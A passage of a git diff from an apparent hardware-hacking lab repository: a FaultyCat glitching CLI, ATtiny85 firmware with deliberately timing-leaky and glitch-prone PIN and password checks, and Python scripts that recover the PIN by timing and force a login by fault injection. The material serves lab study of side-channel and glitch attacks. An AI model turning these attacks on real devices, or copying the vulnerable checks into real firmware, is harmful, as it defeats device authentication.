+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()
diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt
new file mode 100644
index 0000000..5ffdc64
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/requirements.txt
@@ -0,0 +1,9 @@
+click==8.1.7
+colorama
+markdown-it-py
+mdurl
+Pygments==2.17.2
+pyserial
+rich==13.7.0
+typer==0.9.0
+typing_extensions
diff --git a/README.md b/README.md
deleted file mode 100644
index 5ca94a8..0000000
--- a/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-Hardware
-===============
-
-A place for me to store my hardware experiments and scripts and useful tidbits
\ No newline at end of file
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
new file mode 100644
index 0000000..53839d4
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
@@ -0,0 +1,103 @@
+#include <avr/sleep.h>
+#include <avr/interrupt.h>
+#include <SoftwareSerial.h>
+ 
+const int rx = 1;  // for serial input
+const int tx = 4;   // pin 5 for serial.print()
+SoftwareSerial Serial(rx, tx);  // rx, tx pins
+
+int rgLed = 2;  // red/green LED pin
+int button = 3; // buttons pin
+int buttonValue; // Stores analog value when button is pressed
+
+String ourCode = "1324";      // Set the required PIN code.
+String currentCode = "";      // Stores entered code
+
+void setup() {
+  pinMode(rgLed, INPUT);
+  pinMode(rx, INPUT); // setup and print to serial
+  pinMode(tx, OUTPUT);
+  Serial.begin(9600);
+  Serial.println("Running");
+
+  red(500);
+  green(500);
+}
+
+#pragma GCC push_options
+#pragma GCC optimize ("O0")  // Disable optimisations
+
+void addkey(String keyPressed) {
+  currentCode += keyPressed;
+  Serial.println("Entered so far: " + currentCode);
+  
+  if (currentCode.length() == ourCode.length()) {
+    Serial.print("Checking: ");
+    volatile bool correct = true;
+        
+    for (int i = 0; i < ourCode.length(); i++) {
+      if (currentCode[i] != ourCode[i]) {
+        correct = false;
+        break;
+      }
+      
+      do_login();
+    }
+    
+    if (correct) {
+      Serial.println("correct");
+      green(500);
+      delay(500);
+      green(500);
+      delay(500);
+      green(500);
+    } else {
+      Serial.println("failed");
+      red(500);
+    }
+    currentCode = ""; // Reset the entered code
+  }
+}
+
+#pragma GCC pop_options
+
+void green(int del) { // turn on green LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, HIGH);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void red(int del) { // turn on red LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, 255);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void do_login(){
+  delay(5);
+}
+
+void loop() {
+  buttonValue = analogRead(button); // Read analog value from A0 pin
+  
+  if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button:
+    addkey("1");
+  } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button:
+    addkey("2");
+  } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button:
+    addkey("3");
+  } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button:
+    addkey("4");
+  }
+  
+  if (Serial.available()) { // Check if data is available from Serial input
+    char key = Serial.read(); // Read the character
+    if (key >= '1' && key <= '4') { // Ensure input is a valid key
+      addkey(String(key));
+    }
+  }
+  
+  delay(100);
+}
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
new file mode 100644
index 0000000..e01eeb2
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
@@ -0,0 +1,115 @@
+import serial
+import time
+
+# Constants
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+PREFIX = ""
+ATTEMPTS = 3
+DELAY = 0.8
+KEYSPACE = ["1", "2", "3", "4"]
+LENGTH = 4
+
+def get_response_time(serial_port, message):
+    """
+    Function to send message, wait for response, and measure response time.
+    """
+    # Flush the input buffer to clear any leftover data
+    serial_port.flushInput()
+
+    first_line_received = False
+
+    # Send each character in the message with a delay
+    for i, char in enumerate(message):
+        time.sleep(DELAY)  # Delay before sending the character
+        serial_port.write(char.encode())  # Send one character at a time
+        #print(f"sending: {char}")
+        if i < len(message)-1:
+            #print(f"reading")
+            raw_response = serial_port.readline()
+
+    # After sending all characters, we will read until we get the first line (complete response)
+    raw_response = b''  # Initialize the response variable
+
+    while True:
+        byte = serial_port.read(1)  # Read one byte at a time
+        if byte:
+            if byte == b'\n' and not first_line_received:
+                first_line_received = True  # The first line has been received
+                # Do not start timing yet; we need to wait for the next line after the first one
+            elif first_line_received:
+                # Start measuring response time after the first line is fully received
+                start_time = time.time()
+                break  # We begin timing here, immediately after the first line has been read
+
+    final_response = serial_port.readline().decode(errors='ignore').strip()
+    # Now read the rest of the response and stop when the second newline is encountered
+    #final_response = raw_response.decode(errors='ignore').strip()  # Decode the response
+
+    # Measure the time taken for the second line (after the first)
+    response_time = time.time() - start_time
+
+    # Debug message to show what was sent, received, and the response time
+    print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
+
+    time.sleep(DELAY)
+    return final_response, response_time
+
+def calculate_average_response_time(serial_port, message):
+    """
+    Calculate average response time over multiple attempts.
+    """
+    total_time = 0
+    response_times = []
+
+    # Try multiple attempts to get the average response time
+    for _ in range(ATTEMPTS):
+        response, response_time = get_response_time(serial_port, message)
+        total_time += response_time
+        response_times.append(response_time)
+    
+    average_time = total_time / ATTEMPTS
+    print(f"\r{message} average: {average_time:.4f} seconds                                         ", flush=True)
+    return average_time, response_times
+
+def identify_sequence(serial_port):
+    """
+    Identify the complete sequence of characters by sending test sequences.
+    """
+    prefix = ""
+
+    # Loop over all positions in the sequence (length 4 in this case)
+    for pos in range(LENGTH):
+        slowest_avg = float('-inf')  # Initialize with the smallest possible number to track the largest value
+        best_digit = None
+
+        # Try each character in the keyspace for this position
+        for key in KEYSPACE:
+            # Build message for this position
+            message = prefix + key + key * (LENGTH - len(prefix) - 1)
+            print(f"Testing: {message}", end='', flush=True)
+
+            # Get the average response time for this message
+            avg_time, _ = calculate_average_response_time(serial_port, message)
+
+            # Track the slowest (highest average response time)
+            if avg_time > slowest_avg:  # Modify comparison to choose the longest time
+                slowest_avg = avg_time
+                best_digit = key
+
+        # Append the best digit found to the prefix
+        prefix += best_digit
+        print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
+
+    return prefix
+
+def main():
+    # Open the serial port
+    with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
+        print(f"Starting sequence identification on port {SERIAL_PORT}...")
+        sequence = identify_sequence(serial_port)
+        print(f"Identified sequence: {sequence}")
+
+if __name__ == '__main__':
+    main()
+
diff --git a/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg
new file mode 100644
index 0000000..7db7b86
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
